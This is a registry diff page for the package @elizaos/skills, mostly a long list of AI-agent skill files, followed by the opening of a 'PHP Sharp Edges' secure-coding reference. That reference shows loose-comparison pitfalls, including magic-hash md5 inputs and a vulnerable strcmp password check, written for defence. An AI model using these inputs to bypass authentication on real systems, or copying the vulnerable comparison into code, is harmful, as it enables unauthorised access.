@elizaos/skills 2.0.0-alpha.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (371) hide show
  1. package/README.md +126 -0
  2. package/package.json +53 -0
  3. package/skills/1password/SKILL.md +70 -0
  4. package/skills/1password/references/cli-examples.md +29 -0
  5. package/skills/1password/references/get-started.md +17 -0
  6. package/skills/apple-notes/SKILL.md +77 -0
  7. package/skills/apple-reminders/SKILL.md +96 -0
  8. package/skills/bear-notes/SKILL.md +107 -0
  9. package/skills/bird/SKILL.md +224 -0
  10. package/skills/blogwatcher/SKILL.md +69 -0
  11. package/skills/blucli/SKILL.md +47 -0
  12. package/skills/bluebubbles/SKILL.md +131 -0
  13. package/skills/camsnap/SKILL.md +45 -0
  14. package/skills/canvas/SKILL.md +203 -0
  15. package/skills/clawhub/SKILL.md +77 -0
  16. package/skills/coding-agent/SKILL.md +284 -0
  17. package/skills/discord/SKILL.md +578 -0
  18. package/skills/eightctl/SKILL.md +50 -0
  19. package/skills/food-order/SKILL.md +48 -0
  20. package/skills/gemini/SKILL.md +43 -0
  21. package/skills/gifgrep/SKILL.md +79 -0
  22. package/skills/github/SKILL.md +77 -0
  23. package/skills/gog/SKILL.md +116 -0
  24. package/skills/goplaces/SKILL.md +52 -0
  25. package/skills/healthcheck/SKILL.md +245 -0
  26. package/skills/himalaya/SKILL.md +257 -0
  27. package/skills/himalaya/references/configuration.md +184 -0
  28. package/skills/himalaya/references/message-composition.md +199 -0
  29. package/skills/imsg/SKILL.md +74 -0
  30. package/skills/local-places/SERVER_README.md +101 -0
  31. package/skills/local-places/SKILL.md +102 -0
  32. package/skills/local-places/pyproject.toml +21 -0
  33. package/skills/local-places/src/local_places/__init__.py +2 -0
  34. package/skills/local-places/src/local_places/google_places.py +314 -0
  35. package/skills/local-places/src/local_places/main.py +65 -0
  36. package/skills/local-places/src/local_places/schemas.py +107 -0
  37. package/skills/mcporter/SKILL.md +61 -0
  38. package/skills/model-usage/SKILL.md +69 -0
  39. package/skills/model-usage/references/codexbar-cli.md +33 -0
  40. package/skills/model-usage/scripts/model_usage.py +310 -0
  41. package/skills/nano-banana-pro/SKILL.md +58 -0
  42. package/skills/nano-banana-pro/scripts/generate_image.py +184 -0
  43. package/skills/nano-pdf/SKILL.md +38 -0
  44. package/skills/notion/SKILL.md +172 -0
  45. package/skills/obsidian/SKILL.md +81 -0
  46. package/skills/openai-image-gen/SKILL.md +89 -0
  47. package/skills/openai-image-gen/scripts/gen.py +240 -0
  48. package/skills/openai-whisper/SKILL.md +38 -0
  49. package/skills/openai-whisper-api/SKILL.md +52 -0
  50. package/skills/openai-whisper-api/scripts/transcribe.sh +85 -0
  51. package/skills/openhue/SKILL.md +51 -0
  52. package/skills/oracle/SKILL.md +125 -0
  53. package/skills/ordercli/SKILL.md +78 -0
  54. package/skills/peekaboo/SKILL.md +190 -0
  55. package/skills/sag/SKILL.md +87 -0
  56. package/skills/security-ask-questions-if-underspecified/.claude-plugin/plugin.json +10 -0
  57. package/skills/security-ask-questions-if-underspecified/README.md +24 -0
  58. package/skills/security-ask-questions-if-underspecified/skills/ask-questions-if-underspecified/SKILL.md +85 -0
  59. package/skills/security-audit-context-building/.claude-plugin/plugin.json +10 -0
  60. package/skills/security-audit-context-building/README.md +58 -0
  61. package/skills/security-audit-context-building/commands/audit-context.md +21 -0
  62. package/skills/security-audit-context-building/skills/audit-context-building/SKILL.md +297 -0
  63. package/skills/security-audit-context-building/skills/audit-context-building/resources/COMPLETENESS_CHECKLIST.md +47 -0
  64. package/skills/security-audit-context-building/skills/audit-context-building/resources/FUNCTION_MICRO_ANALYSIS_EXAMPLE.md +355 -0
  65. package/skills/security-audit-context-building/skills/audit-context-building/resources/OUTPUT_REQUIREMENTS.md +71 -0
  66. package/skills/security-building-secure-contracts/.claude-plugin/plugin.json +10 -0
  67. package/skills/security-building-secure-contracts/README.md +241 -0
  68. package/skills/security-building-secure-contracts/skills/algorand-vulnerability-scanner/SKILL.md +284 -0
  69. package/skills/security-building-secure-contracts/skills/algorand-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +405 -0
  70. package/skills/security-building-secure-contracts/skills/audit-prep-assistant/SKILL.md +409 -0
  71. package/skills/security-building-secure-contracts/skills/cairo-vulnerability-scanner/SKILL.md +329 -0
  72. package/skills/security-building-secure-contracts/skills/cairo-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +722 -0
  73. package/skills/security-building-secure-contracts/skills/code-maturity-assessor/SKILL.md +218 -0
  74. package/skills/security-building-secure-contracts/skills/code-maturity-assessor/resources/ASSESSMENT_CRITERIA.md +355 -0
  75. package/skills/security-building-secure-contracts/skills/code-maturity-assessor/resources/EXAMPLE_REPORT.md +248 -0
  76. package/skills/security-building-secure-contracts/skills/code-maturity-assessor/resources/REPORT_FORMAT.md +33 -0
  77. package/skills/security-building-secure-contracts/skills/cosmos-vulnerability-scanner/SKILL.md +334 -0
  78. package/skills/security-building-secure-contracts/skills/cosmos-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +740 -0
  79. package/skills/security-building-secure-contracts/skills/guidelines-advisor/SKILL.md +252 -0
  80. package/skills/security-building-secure-contracts/skills/guidelines-advisor/resources/ASSESSMENT_AREAS.md +329 -0
  81. package/skills/security-building-secure-contracts/skills/guidelines-advisor/resources/DELIVERABLES.md +118 -0
  82. package/skills/security-building-secure-contracts/skills/guidelines-advisor/resources/EXAMPLE_REPORT.md +298 -0
  83. package/skills/security-building-secure-contracts/skills/secure-workflow-guide/SKILL.md +161 -0
  84. package/skills/security-building-secure-contracts/skills/secure-workflow-guide/resources/EXAMPLE_REPORT.md +279 -0
  85. package/skills/security-building-secure-contracts/skills/secure-workflow-guide/resources/WORKFLOW_STEPS.md +132 -0
  86. package/skills/security-building-secure-contracts/skills/solana-vulnerability-scanner/SKILL.md +389 -0
  87. package/skills/security-building-secure-contracts/skills/solana-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +669 -0
  88. package/skills/security-building-secure-contracts/skills/substrate-vulnerability-scanner/SKILL.md +298 -0
  89. package/skills/security-building-secure-contracts/skills/substrate-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +791 -0
  90. package/skills/security-building-secure-contracts/skills/token-integration-analyzer/SKILL.md +362 -0
  91. package/skills/security-building-secure-contracts/skills/token-integration-analyzer/resources/ASSESSMENT_CATEGORIES.md +571 -0
  92. package/skills/security-building-secure-contracts/skills/token-integration-analyzer/resources/REPORT_TEMPLATES.md +141 -0
  93. package/skills/security-building-secure-contracts/skills/ton-vulnerability-scanner/SKILL.md +388 -0
  94. package/skills/security-building-secure-contracts/skills/ton-vulnerability-scanner/resources/VULNERABILITY_PATTERNS.md +595 -0
  95. package/skills/security-burpsuite-project-parser/.claude-plugin/plugin.json +10 -0
  96. package/skills/security-burpsuite-project-parser/README.md +103 -0
  97. package/skills/security-burpsuite-project-parser/commands/burp-search.md +18 -0
  98. package/skills/security-burpsuite-project-parser/skills/SKILL.md +358 -0
  99. package/skills/security-burpsuite-project-parser/skills/scripts/burp-search.sh +99 -0
  100. package/skills/security-claude-in-chrome-troubleshooting/.claude-plugin/plugin.json +8 -0
  101. package/skills/security-claude-in-chrome-troubleshooting/README.md +31 -0
  102. package/skills/security-claude-in-chrome-troubleshooting/skills/claude-in-chrome-troubleshooting/SKILL.md +251 -0
  103. package/skills/security-constant-time-analysis/.claude-plugin/plugin.json +9 -0
  104. package/skills/security-constant-time-analysis/README.md +381 -0
  105. package/skills/security-constant-time-analysis/commands/ct-check.md +20 -0
  106. package/skills/security-constant-time-analysis/ct_analyzer/__init__.py +49 -0
  107. package/skills/security-constant-time-analysis/ct_analyzer/analyzer.py +1284 -0
  108. package/skills/security-constant-time-analysis/ct_analyzer/script_analyzers.py +3081 -0
  109. package/skills/security-constant-time-analysis/ct_analyzer/tests/__init__.py +1 -0
  110. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_analyzer.py +1397 -0
  111. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/bn_excerpt.js +205 -0
  112. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/decompose_constant_time.c +181 -0
  113. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/decompose_vulnerable.c +74 -0
  114. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/decompose_vulnerable.go +78 -0
  115. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/decompose_vulnerable.rs +92 -0
  116. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.cs +174 -0
  117. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.java +161 -0
  118. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.kt +181 -0
  119. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.php +140 -0
  120. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.py +252 -0
  121. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.rb +188 -0
  122. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.swift +199 -0
  123. package/skills/security-constant-time-analysis/ct_analyzer/tests/test_samples/vulnerable.ts +154 -0
  124. package/skills/security-constant-time-analysis/pyproject.toml +52 -0
  125. package/skills/security-constant-time-analysis/skills/constant-time-analysis/README.md +90 -0
  126. package/skills/security-constant-time-analysis/skills/constant-time-analysis/SKILL.md +219 -0
  127. package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/compiled.md +129 -0
  128. package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/javascript.md +136 -0
  129. package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/kotlin.md +252 -0
  130. package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/php.md +172 -0
  131. package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/python.md +179 -0
  132. package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/ruby.md +198 -0
  133. package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/swift.md +288 -0
  134. package/skills/security-constant-time-analysis/skills/constant-time-analysis/references/vm-compiled.md +354 -0
  135. package/skills/security-constant-time-analysis/uv.lock +8 -0
  136. package/skills/security-culture-index/.claude-plugin/plugin.json +8 -0
  137. package/skills/security-culture-index/README.md +79 -0
  138. package/skills/security-culture-index/skills/interpreting-culture-index/SKILL.md +293 -0
  139. package/skills/security-culture-index/skills/interpreting-culture-index/references/anti-patterns.md +255 -0
  140. package/skills/security-culture-index/skills/interpreting-culture-index/references/conversation-starters.md +408 -0
  141. package/skills/security-culture-index/skills/interpreting-culture-index/references/interview-trait-signals.md +253 -0
  142. package/skills/security-culture-index/skills/interpreting-culture-index/references/motivators.md +158 -0
  143. package/skills/security-culture-index/skills/interpreting-culture-index/references/patterns-archetypes.md +147 -0
  144. package/skills/security-culture-index/skills/interpreting-culture-index/references/primary-traits.md +307 -0
  145. package/skills/security-culture-index/skills/interpreting-culture-index/references/secondary-traits.md +228 -0
  146. package/skills/security-culture-index/skills/interpreting-culture-index/references/team-composition.md +148 -0
  147. package/skills/security-culture-index/skills/interpreting-culture-index/scripts/check_deps.py +108 -0
  148. package/skills/security-culture-index/skills/interpreting-culture-index/scripts/culture_index/__init__.py +20 -0
  149. package/skills/security-culture-index/skills/interpreting-culture-index/scripts/culture_index/constants.py +122 -0
  150. package/skills/security-culture-index/skills/interpreting-culture-index/scripts/culture_index/extract.py +187 -0
  151. package/skills/security-culture-index/skills/interpreting-culture-index/scripts/culture_index/models.py +16 -0
  152. package/skills/security-culture-index/skills/interpreting-culture-index/scripts/culture_index/opencv_extractor.py +520 -0
  153. package/skills/security-culture-index/skills/interpreting-culture-index/scripts/extract_pdf.py +237 -0
  154. package/skills/security-culture-index/skills/interpreting-culture-index/scripts/pyproject.toml +18 -0
  155. package/skills/security-culture-index/skills/interpreting-culture-index/templates/burnout-report.md +113 -0
  156. package/skills/security-culture-index/skills/interpreting-culture-index/templates/comparison-report.md +103 -0
  157. package/skills/security-culture-index/skills/interpreting-culture-index/templates/hiring-profile.md +127 -0
  158. package/skills/security-culture-index/skills/interpreting-culture-index/templates/individual-report.md +85 -0
  159. package/skills/security-culture-index/skills/interpreting-culture-index/templates/predicted-profile.md +165 -0
  160. package/skills/security-culture-index/skills/interpreting-culture-index/templates/team-report.md +109 -0
  161. package/skills/security-culture-index/skills/interpreting-culture-index/workflows/analyze-team.md +188 -0
  162. package/skills/security-culture-index/skills/interpreting-culture-index/workflows/coach-manager.md +267 -0
  163. package/skills/security-culture-index/skills/interpreting-culture-index/workflows/compare-profiles.md +188 -0
  164. package/skills/security-culture-index/skills/interpreting-culture-index/workflows/define-hiring-profile.md +220 -0
  165. package/skills/security-culture-index/skills/interpreting-culture-index/workflows/detect-burnout.md +206 -0
  166. package/skills/security-culture-index/skills/interpreting-culture-index/workflows/extract-from-pdf.md +121 -0
  167. package/skills/security-culture-index/skills/interpreting-culture-index/workflows/interpret-individual.md +183 -0
  168. package/skills/security-culture-index/skills/interpreting-culture-index/workflows/interview-debrief.md +234 -0
  169. package/skills/security-culture-index/skills/interpreting-culture-index/workflows/mediate-conflict.md +306 -0
  170. package/skills/security-culture-index/skills/interpreting-culture-index/workflows/plan-onboarding.md +322 -0
  171. package/skills/security-culture-index/skills/interpreting-culture-index/workflows/predict-from-interview.md +250 -0
  172. package/skills/security-differential-review/.claude-plugin/plugin.json +10 -0
  173. package/skills/security-differential-review/README.md +109 -0
  174. package/skills/security-differential-review/commands/diff-review.md +21 -0
  175. package/skills/security-differential-review/skills/differential-review/SKILL.md +220 -0
  176. package/skills/security-differential-review/skills/differential-review/adversarial.md +203 -0
  177. package/skills/security-differential-review/skills/differential-review/methodology.md +234 -0
  178. package/skills/security-differential-review/skills/differential-review/patterns.md +300 -0
  179. package/skills/security-differential-review/skills/differential-review/reporting.md +369 -0
  180. package/skills/security-dwarf-expert/.claude-plugin/plugin.json +10 -0
  181. package/skills/security-dwarf-expert/README.md +38 -0
  182. package/skills/security-dwarf-expert/skills/dwarf-expert/SKILL.md +93 -0
  183. package/skills/security-dwarf-expert/skills/dwarf-expert/reference/coding.md +31 -0
  184. package/skills/security-dwarf-expert/skills/dwarf-expert/reference/dwarfdump.md +50 -0
  185. package/skills/security-dwarf-expert/skills/dwarf-expert/reference/readelf.md +8 -0
  186. package/skills/security-entry-point-analyzer/.claude-plugin/plugin.json +10 -0
  187. package/skills/security-entry-point-analyzer/README.md +74 -0
  188. package/skills/security-entry-point-analyzer/commands/entry-points.md +18 -0
  189. package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/SKILL.md +251 -0
  190. package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/cosmwasm.md +182 -0
  191. package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/move-aptos.md +107 -0
  192. package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/move-sui.md +87 -0
  193. package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/solana.md +155 -0
  194. package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/solidity.md +135 -0
  195. package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/ton.md +185 -0
  196. package/skills/security-entry-point-analyzer/skills/entry-point-analyzer/references/vyper.md +141 -0
  197. package/skills/security-firebase-apk-scanner/.claude-plugin/plugin.json +10 -0
  198. package/skills/security-firebase-apk-scanner/README.md +85 -0
  199. package/skills/security-firebase-apk-scanner/commands/scan-apk.md +18 -0
  200. package/skills/security-firebase-apk-scanner/scanner.sh +1408 -0
  201. package/skills/security-firebase-apk-scanner/skills/firebase-apk-scanner/SKILL.md +197 -0
  202. package/skills/security-firebase-apk-scanner/skills/firebase-apk-scanner/references/vulnerabilities.md +803 -0
  203. package/skills/security-fix-review/.claude-plugin/plugin.json +13 -0
  204. package/skills/security-fix-review/README.md +118 -0
  205. package/skills/security-fix-review/commands/fix-review.md +24 -0
  206. package/skills/security-fix-review/skills/fix-review/SKILL.md +264 -0
  207. package/skills/security-fix-review/skills/fix-review/references/bug-detection.md +408 -0
  208. package/skills/security-fix-review/skills/fix-review/references/finding-matching.md +298 -0
  209. package/skills/security-fix-review/skills/fix-review/references/report-parsing.md +398 -0
  210. package/skills/security-insecure-defaults/.claude-plugin/plugin.json +10 -0
  211. package/skills/security-insecure-defaults/README.md +45 -0
  212. package/skills/security-insecure-defaults/skills/insecure-defaults/SKILL.md +117 -0
  213. package/skills/security-insecure-defaults/skills/insecure-defaults/references/examples.md +409 -0
  214. package/skills/security-modern-python/.claude-plugin/plugin.json +10 -0
  215. package/skills/security-modern-python/README.md +58 -0
  216. package/skills/security-modern-python/hooks/hooks.json +16 -0
  217. package/skills/security-modern-python/hooks/intercept-legacy-python.bats +388 -0
  218. package/skills/security-modern-python/hooks/intercept-legacy-python.sh +109 -0
  219. package/skills/security-modern-python/hooks/test_helper.bash +75 -0
  220. package/skills/security-modern-python/skills/modern-python/SKILL.md +333 -0
  221. package/skills/security-modern-python/skills/modern-python/references/dependabot.md +43 -0
  222. package/skills/security-modern-python/skills/modern-python/references/migration-checklist.md +141 -0
  223. package/skills/security-modern-python/skills/modern-python/references/pep723-scripts.md +259 -0
  224. package/skills/security-modern-python/skills/modern-python/references/prek.md +211 -0
  225. package/skills/security-modern-python/skills/modern-python/references/pyproject.md +254 -0
  226. package/skills/security-modern-python/skills/modern-python/references/ruff-config.md +240 -0
  227. package/skills/security-modern-python/skills/modern-python/references/security-setup.md +255 -0
  228. package/skills/security-modern-python/skills/modern-python/references/testing.md +284 -0
  229. package/skills/security-modern-python/skills/modern-python/references/uv-commands.md +200 -0
  230. package/skills/security-modern-python/skills/modern-python/templates/dependabot.yml +36 -0
  231. package/skills/security-modern-python/skills/modern-python/templates/pre-commit-config.yaml +66 -0
  232. package/skills/security-property-based-testing/.claude-plugin/plugin.json +9 -0
  233. package/skills/security-property-based-testing/README.md +47 -0
  234. package/skills/security-property-based-testing/skills/property-based-testing/README.md +88 -0
  235. package/skills/security-property-based-testing/skills/property-based-testing/SKILL.md +109 -0
  236. package/skills/security-property-based-testing/skills/property-based-testing/references/design.md +191 -0
  237. package/skills/security-property-based-testing/skills/property-based-testing/references/generating.md +200 -0
  238. package/skills/security-property-based-testing/skills/property-based-testing/references/libraries.md +130 -0
  239. package/skills/security-property-based-testing/skills/property-based-testing/references/refactoring.md +181 -0
  240. package/skills/security-property-based-testing/skills/property-based-testing/references/reviewing.md +209 -0
  241. package/skills/security-property-based-testing/skills/property-based-testing/references/strategies.md +124 -0
  242. package/skills/semgrep-rule-creator/.claude-plugin/plugin.json +8 -0
  243. package/skills/semgrep-rule-creator/README.md +43 -0
  244. package/skills/semgrep-rule-creator/commands/semgrep-rule.md +26 -0
  245. package/skills/semgrep-rule-creator/skills/semgrep-rule-creator/SKILL.md +168 -0
  246. package/skills/semgrep-rule-creator/skills/semgrep-rule-creator/references/quick-reference.md +203 -0
  247. package/skills/semgrep-rule-creator/skills/semgrep-rule-creator/references/workflow.md +240 -0
  248. package/skills/semgrep-rule-variant-creator/.claude-plugin/plugin.json +9 -0
  249. package/skills/semgrep-rule-variant-creator/README.md +86 -0
  250. package/skills/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/SKILL.md +205 -0
  251. package/skills/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/references/applicability-analysis.md +250 -0
  252. package/skills/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/references/language-syntax-guide.md +324 -0
  253. package/skills/semgrep-rule-variant-creator/skills/semgrep-rule-variant-creator/references/workflow.md +518 -0
  254. package/skills/session-logs/SKILL.md +115 -0
  255. package/skills/sharp-edges/.claude-plugin/plugin.json +10 -0
  256. package/skills/sharp-edges/README.md +48 -0
  257. package/skills/sharp-edges/skills/sharp-edges/SKILL.md +292 -0
  258. package/skills/sharp-edges/skills/sharp-edges/references/auth-patterns.md +252 -0
  259. package/skills/sharp-edges/skills/sharp-edges/references/case-studies.md +274 -0
  260. package/skills/sharp-edges/skills/sharp-edges/references/config-patterns.md +333 -0
  261. package/skills/sharp-edges/skills/sharp-edges/references/crypto-apis.md +190 -0
  262. package/skills/sharp-edges/skills/sharp-edges/references/lang-c.md +205 -0
  263. package/skills/sharp-edges/skills/sharp-edges/references/lang-csharp.md +285 -0
  264. package/skills/sharp-edges/skills/sharp-edges/references/lang-go.md +270 -0
  265. package/skills/sharp-edges/skills/sharp-edges/references/lang-java.md +263 -0
  266. package/skills/sharp-edges/skills/sharp-edges/references/lang-javascript.md +269 -0
  267. package/skills/sharp-edges/skills/sharp-edges/references/lang-kotlin.md +265 -0
  268. package/skills/sharp-edges/skills/sharp-edges/references/lang-php.md +245 -0
  269. package/skills/sharp-edges/skills/sharp-edges/references/lang-python.md +274 -0
  270. package/skills/sharp-edges/skills/sharp-edges/references/lang-ruby.md +273 -0
  271. package/skills/sharp-edges/skills/sharp-edges/references/lang-rust.md +272 -0
  272. package/skills/sharp-edges/skills/sharp-edges/references/lang-swift.md +287 -0
  273. package/skills/sharp-edges/skills/sharp-edges/references/language-specific.md +588 -0
  274. package/skills/sherpa-onnx-tts/SKILL.md +103 -0
  275. package/skills/sherpa-onnx-tts/bin/sherpa-onnx-tts +178 -0
  276. package/skills/skill-creator/SKILL.md +370 -0
  277. package/skills/skill-creator/license.txt +202 -0
  278. package/skills/skill-creator/scripts/init_skill.py +378 -0
  279. package/skills/skill-creator/scripts/package_skill.py +111 -0
  280. package/skills/skill-creator/scripts/quick_validate.py +101 -0
  281. package/skills/slack/SKILL.md +144 -0
  282. package/skills/songsee/SKILL.md +49 -0
  283. package/skills/sonoscli/SKILL.md +46 -0
  284. package/skills/spec-to-code-compliance/.claude-plugin/plugin.json +10 -0
  285. package/skills/spec-to-code-compliance/README.md +67 -0
  286. package/skills/spec-to-code-compliance/commands/spec-compliance.md +22 -0
  287. package/skills/spec-to-code-compliance/skills/spec-to-code-compliance/SKILL.md +349 -0
  288. package/skills/spec-to-code-compliance/skills/spec-to-code-compliance/resources/COMPLETENESS_CHECKLIST.md +69 -0
  289. package/skills/spec-to-code-compliance/skills/spec-to-code-compliance/resources/IR_EXAMPLES.md +417 -0
  290. package/skills/spec-to-code-compliance/skills/spec-to-code-compliance/resources/OUTPUT_REQUIREMENTS.md +105 -0
  291. package/skills/spotify-player/SKILL.md +64 -0
  292. package/skills/static-analysis/.claude-plugin/plugin.json +8 -0
  293. package/skills/static-analysis/README.md +59 -0
  294. package/skills/static-analysis/skills/codeql/SKILL.md +315 -0
  295. package/skills/static-analysis/skills/sarif-parsing/SKILL.md +479 -0
  296. package/skills/static-analysis/skills/sarif-parsing/resources/jq-queries.md +162 -0
  297. package/skills/static-analysis/skills/sarif-parsing/resources/sarif_helpers.py +331 -0
  298. package/skills/static-analysis/skills/semgrep/SKILL.md +337 -0
  299. package/skills/summarize/SKILL.md +87 -0
  300. package/skills/testing-handbook-skills/.claude-plugin/plugin.json +8 -0
  301. package/skills/testing-handbook-skills/README.md +241 -0
  302. package/skills/testing-handbook-skills/scripts/pyproject.toml +8 -0
  303. package/skills/testing-handbook-skills/scripts/validate-skills.py +657 -0
  304. package/skills/testing-handbook-skills/skills/address-sanitizer/SKILL.md +341 -0
  305. package/skills/testing-handbook-skills/skills/aflpp/SKILL.md +640 -0
  306. package/skills/testing-handbook-skills/skills/atheris/SKILL.md +515 -0
  307. package/skills/testing-handbook-skills/skills/cargo-fuzz/SKILL.md +454 -0
  308. package/skills/testing-handbook-skills/skills/codeql/SKILL.md +549 -0
  309. package/skills/testing-handbook-skills/skills/constant-time-testing/SKILL.md +507 -0
  310. package/skills/testing-handbook-skills/skills/coverage-analysis/SKILL.md +607 -0
  311. package/skills/testing-handbook-skills/skills/fuzzing-dictionary/SKILL.md +297 -0
  312. package/skills/testing-handbook-skills/skills/fuzzing-obstacles/SKILL.md +426 -0
  313. package/skills/testing-handbook-skills/skills/harness-writing/SKILL.md +614 -0
  314. package/skills/testing-handbook-skills/skills/libafl/SKILL.md +625 -0
  315. package/skills/testing-handbook-skills/skills/libfuzzer/SKILL.md +795 -0
  316. package/skills/testing-handbook-skills/skills/ossfuzz/SKILL.md +426 -0
  317. package/skills/testing-handbook-skills/skills/ruzzy/SKILL.md +443 -0
  318. package/skills/testing-handbook-skills/skills/semgrep/SKILL.md +601 -0
  319. package/skills/testing-handbook-skills/skills/testing-handbook-generator/SKILL.md +372 -0
  320. package/skills/testing-handbook-skills/skills/testing-handbook-generator/agent-prompt.md +280 -0
  321. package/skills/testing-handbook-skills/skills/testing-handbook-generator/discovery.md +452 -0
  322. package/skills/testing-handbook-skills/skills/testing-handbook-generator/templates/domain-skill.md +504 -0
  323. package/skills/testing-handbook-skills/skills/testing-handbook-generator/templates/fuzzer-skill.md +454 -0
  324. package/skills/testing-handbook-skills/skills/testing-handbook-generator/templates/technique-skill.md +527 -0
  325. package/skills/testing-handbook-skills/skills/testing-handbook-generator/templates/tool-skill.md +366 -0
  326. package/skills/testing-handbook-skills/skills/testing-handbook-generator/testing.md +482 -0
  327. package/skills/testing-handbook-skills/skills/wycheproof/SKILL.md +533 -0
  328. package/skills/things-mac/SKILL.md +86 -0
  329. package/skills/tmux/SKILL.md +135 -0
  330. package/skills/tmux/scripts/find-sessions.sh +112 -0
  331. package/skills/tmux/scripts/wait-for-text.sh +83 -0
  332. package/skills/trello/SKILL.md +95 -0
  333. package/skills/variant-analysis/.claude-plugin/plugin.json +8 -0
  334. package/skills/variant-analysis/README.md +41 -0
  335. package/skills/variant-analysis/commands/variants.md +23 -0
  336. package/skills/variant-analysis/skills/variant-analysis/METHODOLOGY.md +327 -0
  337. package/skills/variant-analysis/skills/variant-analysis/SKILL.md +142 -0
  338. package/skills/variant-analysis/skills/variant-analysis/resources/codeql/cpp.ql +119 -0
  339. package/skills/variant-analysis/skills/variant-analysis/resources/codeql/go.ql +69 -0
  340. package/skills/variant-analysis/skills/variant-analysis/resources/codeql/java.ql +71 -0
  341. package/skills/variant-analysis/skills/variant-analysis/resources/codeql/javascript.ql +63 -0
  342. package/skills/variant-analysis/skills/variant-analysis/resources/codeql/python.ql +80 -0
  343. package/skills/variant-analysis/skills/variant-analysis/resources/semgrep/cpp.yaml +98 -0
  344. package/skills/variant-analysis/skills/variant-analysis/resources/semgrep/go.yaml +63 -0
  345. package/skills/variant-analysis/skills/variant-analysis/resources/semgrep/java.yaml +61 -0
  346. package/skills/variant-analysis/skills/variant-analysis/resources/semgrep/javascript.yaml +60 -0
  347. package/skills/variant-analysis/skills/variant-analysis/resources/semgrep/python.yaml +72 -0
  348. package/skills/variant-analysis/skills/variant-analysis/resources/variant-report-template.md +75 -0
  349. package/skills/video-frames/SKILL.md +46 -0
  350. package/skills/video-frames/scripts/frame.sh +81 -0
  351. package/skills/voice-call/SKILL.md +45 -0
  352. package/skills/wacli/SKILL.md +72 -0
  353. package/skills/weather/SKILL.md +54 -0
  354. package/skills/yara-authoring/.claude-plugin/plugin.json +9 -0
  355. package/skills/yara-authoring/README.md +131 -0
  356. package/skills/yara-authoring/skills/yara-rule-authoring/SKILL.md +645 -0
  357. package/skills/yara-authoring/skills/yara-rule-authoring/examples/MAL_Mac_ProtonRAT_Jan25.yar +99 -0
  358. package/skills/yara-authoring/skills/yara-rule-authoring/examples/MAL_NPM_SupplyChain_Jan25.yar +170 -0
  359. package/skills/yara-authoring/skills/yara-rule-authoring/examples/MAL_Win_Remcos_Jan25.yar +103 -0
  360. package/skills/yara-authoring/skills/yara-rule-authoring/examples/SUSP_CRX_SuspiciousPermissions.yar +134 -0
  361. package/skills/yara-authoring/skills/yara-rule-authoring/examples/SUSP_JS_Obfuscation_Jan25.yar +185 -0
  362. package/skills/yara-authoring/skills/yara-rule-authoring/references/crx-module.md +214 -0
  363. package/skills/yara-authoring/skills/yara-rule-authoring/references/dex-module.md +383 -0
  364. package/skills/yara-authoring/skills/yara-rule-authoring/references/performance.md +333 -0
  365. package/skills/yara-authoring/skills/yara-rule-authoring/references/strings.md +433 -0
  366. package/skills/yara-authoring/skills/yara-rule-authoring/references/style-guide.md +257 -0
  367. package/skills/yara-authoring/skills/yara-rule-authoring/references/testing.md +399 -0
  368. package/skills/yara-authoring/skills/yara-rule-authoring/scripts/atom_analyzer.py +526 -0
  369. package/skills/yara-authoring/skills/yara-rule-authoring/scripts/pyproject.toml +25 -0
  370. package/skills/yara-authoring/skills/yara-rule-authoring/scripts/yara_lint.py +631 -0
  371. package/skills/yara-authoring/skills/yara-rule-authoring/workflows/rule-development.md +493 -0
@@ -0,0 +1,245 @@
1
+ # PHP Sharp Edges
2
+
3
+ ## Type Juggling
4
+
5
+ ```php
6
+ // DANGEROUS: Loose comparison (==) does type coercion
7
+ "0e123" == "0e456" // TRUE - both parsed as 0 (scientific notation)
8
+ "0" == false // TRUE
9
+ "" == false // TRUE
10
+ "" == 0 // TRUE (in PHP < 8)
11
+ [] == false // TRUE
12
+ null == false // TRUE
13
+
14
+ // Magic hash vulnerability
15
+ md5("240610708") = "0e462097431906509019562988736854"
16
+ md5("QNKCDZO") = "0e830400451993494058024219903391"
17
+ md5("240610708") == md5("QNKCDZO") // TRUE!
18
+
19
+ // Both start with "0e" followed by digits = parsed as 0.0
20
+ ```
21
+
22
+ **Fix**: Use strict comparison `===`:
23
+ ```php
24
+ "0e123" === "0e456" // FALSE
25
+ $hash1 === $hash2 // Compares actual strings
26
+ ```
27
+
28
+ ## strcmp Returns NULL on Error
29
+
30
+ ```php
31
+ // DANGEROUS: strcmp type confusion
32
+ if (strcmp($_POST['password'], $stored_password) == 0) {
33
+ authenticate();
34
+ }
